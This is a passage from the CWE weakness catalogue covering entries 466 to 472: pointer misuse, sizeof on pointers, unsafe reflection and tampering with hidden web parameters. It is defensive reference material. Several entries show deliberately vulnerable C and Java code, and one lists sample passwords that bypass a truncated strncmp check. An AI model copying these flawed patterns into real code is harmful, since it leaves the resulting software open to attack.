The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342
PeerOf	B	170	Improper Null Termination	395
PeerOf	B	463	Deletion of Data Structure Sentinel	984

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Generally this error will cause the data structure to not work properly by truncating the data.*	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.

Phase: Implementation

Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. This is not a complete solution.

Phase: Operation

Use OS-level preventative functionality. This is not a complete solution.

Demonstrative Examples

Example 1:

The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.

Example Language: C *(bad)*

```
char *foo;
foo=malloc(sizeof(char)*5);
foo[0]='a';
foo[1]='a';
foo[2]=atoi(getc(stdin));
```

```
foo[3]='c';
foo[4]='\0'
printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3],foo[4]);
printf("%s\n",foo);
```

The first print statement will print each character separated by a space. However, if a non-integer is read from stdin by getc, then atoi will not make a conversion and return 0. When foo is printed as a string, the 0 at character foo[2] will act as a NULL terminator and foo[3] will never be printed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	1885
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1916
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Addition of data-structure sentinel
CERT C Secure Coding	STR03-C		Do not inadvertently truncate a null-terminated byte string
CERT C Secure Coding	STR06-C		Do not assume that strtok() leaves the parse string unchanged

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-466: Return of Pointer Value Outside of Expected Range

Weakness ID : 466 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Integrity	Modify Memory	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Notes

Maintenance

This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Illegal Pointer Value
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-467: Use of sizeof() on a Pointer Type

Weakness ID : 467 **Status:** Draft

Structure : Simple
Abstraction : Variant

Description

The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.

Extended Description

The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326
CanPrecede	B	131	Incorrect Calculation of Buffer Size	325

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Read Memory *This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.*	

Potential Mitigations

Phase: Implementation

Use expressions such as "sizeof(*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.

Demonstrative Examples

Example 1:

Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.

In this example, sizeof(foo) returns the size of the pointer.

Example Language: C *(bad)*

```
double *foo;
...
foo = (double *)malloc(sizeof(foo));
```

In this example, sizeof(*foo) returns the size of the data structure and not the size of the pointer.

Example Language: C *(good)*

```
double *foo;
...
foo = (double *)malloc(sizeof(*foo));
```

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: *(bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    printf("Sizeof username = %d\n", sizeof(username));
    printf("Sizeof pass = %d\n", sizeof(pass));
    if (strncmp(username, inUser, sizeof(username))) {
        printf("Auth failure of username using sizeof\n");
        return(AUTH_FAIL);
    }
    /* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */
    if (! strncmp(pass, inPass, sizeof(pass))) {
        printf("Auth success of password using sizeof\n");
        return(AUTH_SUCCESS);
    }
    else {
        printf("Auth fail of password using sizeof\n");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv)
{
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult != AUTH_SUCCESS) {
        ExitError("Authentication failed");
    }
    else {
        DoAuthenticatedTask(argv[1]);
    }
}
```

In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the

first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).

Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(attack)*

```
pass5
passABCDEFGH
passWORD
```

Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	1882
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	1884
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	1915
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	1946
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Use of sizeof() on a pointer type
CERT C Secure Coding	ARR01-C		Do not apply the sizeof operator to a pointer when taking the size of an array
CERT C Secure Coding	MEM35-C	CWE More Abstract	Allocate sufficient memory for an object
Software Fault Patterns	SFP10		Incorrect Buffer Length Computation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-442]Robert Seacord. "EXP01-A. Do not take the sizeof a pointer to determine the size of a type". < https://www.securecoding.cert.org/confluence/display/seccode/EXP01-A.+Do+not+take+the+sizeof+a+pointer+to+determine+the+size+of+a+type >.

CWE-468: Incorrect Pointer Scaling

Weakness ID : 468 **Status:** Incomplete
Structure : Simple

Abstraction : Base

Description

In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Memory Modify Memory *Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.*	

Potential Mitigations

Phase: Architecture and Design

Use a platform with high-level memory abstractions.

Phase: Implementation

Always use array indexing instead of direct pointer manipulation.

Phase: Architecture and Design

Use technologies for preventing buffer overflows.

Demonstrative Examples

Example 1:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C *(bad)*

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	1882
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	1997

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unintentional pointer scaling
CERT C Secure Coding	ARR39-C	Exact	Do not add or subtract a scaled integer to a pointer
CERT C Secure Coding	EXP08-C		Ensure pointer arithmetic is used correctly
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-469: Use of Pointer Subtraction to Determine Size

Weakness ID : 469 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity Confidentiality Availability	Modify Memory Read Memory Execute Unauthorized Code or Commands Gain Privileges or Assume Identity *There is the potential for arbitrary code execution with privileges of the vulnerable program.*	

Potential Mitigations

Phase: Implementation

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always sanity check this number.

Demonstrative Examples

Example 1:

The following example contains the method size that is used to determine the number of nodes in a linked list. The method is passed a pointer to the head of the linked list.

Example Language: C *(bad)*

```
struct node {
    int data;
    struct node* next;
};
// Returns the number of nodes in a linked list from
// the given pointer to the head of the list.
int size(struct node* head) {
    struct node* current = head;
    struct node* tail;
    while (current != NULL) {
        tail = current;
        current = current->next;
    }
    return tail - head;
}
// other methods for manipulating the list
...
```

However, the method creates a pointer that points to the end of the list and uses pointer subtraction to determine the number of nodes in the list by subtracting the tail pointer from the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using pointer subtraction in this way could return incorrect results and allow other unintended behavior. In this

example a counter should be used to determine the number of nodes in the list, as shown in the following code.

Example Language: C *(good)*

```
...
int size(struct node* head) {
    struct node* current = head;
    int count = 0;
    while (current != NULL) {
        count++;
        current = current->next;
    }
    return count;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	1884
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	1915
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	1997

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper pointer subtraction
CERT C Secure Coding	ARR36-C	Exact	Do not subtract or compare two pointers that do not refer to the same array
Software Fault Patterns	SFP1		Glitch in Computation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Weakness ID : 470 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

Extended Description

If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this

occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1213
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Interpreted *(Prevalence = Sometimes)*

Alternate Terms

Reflection Injection :

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands Alter Execution Logic *The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.*	
Availability Other	DoS: Crash, Exit, or Restart Other *The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the application to exit or hang.*	

Scope	Impact	Likelihood
Confidentiality	Read Application Data *By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.*	

Potential Mitigations

Phase: Architecture and Design

Refactor your code to avoid using reflection.

Phase: Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Phase: Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

Demonstrative Examples

Example 1:

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

Example Language: Java *(good)*

```
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
    ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
    ao = new ModifyCommand();
}
else {
    throw new UnknownActionError();
}
ao.doAction(request);
```

A programmer might refactor this code to use reflection as follows:

Example Language: Java *(bad)*

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
```

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

Example Language: Java *(bad)*

```
String ctl = request.getParameter("ctl");
```

```
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);
```

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple applications, in larger applications where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

Observed Examples

Reference	Description
CVE-2004-2331	Database system allows attackers to bypass sandbox restrictions by using the Reflection APi. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2331*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Unsafe Reflection
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not use reflection to increase accessibility of classes, methods, or fields

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-471: Modification of Assumed-Immutable Data (MAID)

Weakness ID : 471 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly protect an assumed-immutable element from being modified by an attacker.

Extended Description

This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	V	291	Reliance on IP Address for Authentication	643
ParentOf	B	472	External Control of Assumed-Immutable Web Parameter	1001
ParentOf	V	473	PHP External Variable Modification	1005
ParentOf	V	607	Public Static Final Field References Mutable Object	1209
CanFollow	B	425	Direct Request ('Forced Browsing')	915
CanFollow	B	602	Client-Side Enforcement of Server-Side Security	1200
CanFollow	B	621	Variable Extraction Error	1231
CanFollow	B	1282	Assumed-Immutable Data Stored in Writable Memory	1835

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Common data types that are attacked are environment variables, web application parameters, and HTTP headers.*	
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Phase: Implementation

When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.

Demonstrative Examples

Example 1:

In the code excerpt below, an array returned by a Java method is modified despite the fact that arrays are mutable.

Example Language: Java *(bad)*

```
String[] colors = car.getAllPossibleColors();
colors[0] = "Red";
```

Observed Examples

Reference	Description
CVE-2002-1757	Relies on $PHP_SELF variable for authentication. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1757*
CVE-2005-1905	Gain privileges by modifying assumed-immutable code addresses that are accessed by a driver. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1905*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Notes

Relationship

MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's register_globals and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.

Theoretical

There are many examples where the MUTABILITY property is a major factor in a vulnerability.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Modification of Assumed-Immutable Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking

CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID : 472 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	999
ChildOf	C	642	External Control of Critical State Data	1257
CanFollow	B	656	Reliance on Security Through Obscurity	1285

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Assumed-Immutable Parameter Tampering :

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

In this example, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

Example Language: Java *(bad)*

```
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));
```

Example 2:

Hidden fields should not be trusted as secure parameters.

An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

Example Language: HTML *(bad)*

```
<input type="hidden"
```

or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.

Observed Examples

Reference	Description
CVE-2002-0108	Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0108*
CVE-2000-0253	Shopping cart allows price modification via hidden form field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0253*
CVE-2000-0254	Shopping cart allows price modification via hidden form field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0254*

Reference	Description
CVE-2000-0926	Shopping cart allows price modification via hidden form field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0926*
CVE-2000-0101	Shopping cart allows price modification via hidden form field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0101*
CVE-2000-0102	Shopping cart allows price modification via hidden form field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0102*
CVE-2000-0758	Allows admin access by modifying value of form field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0758*
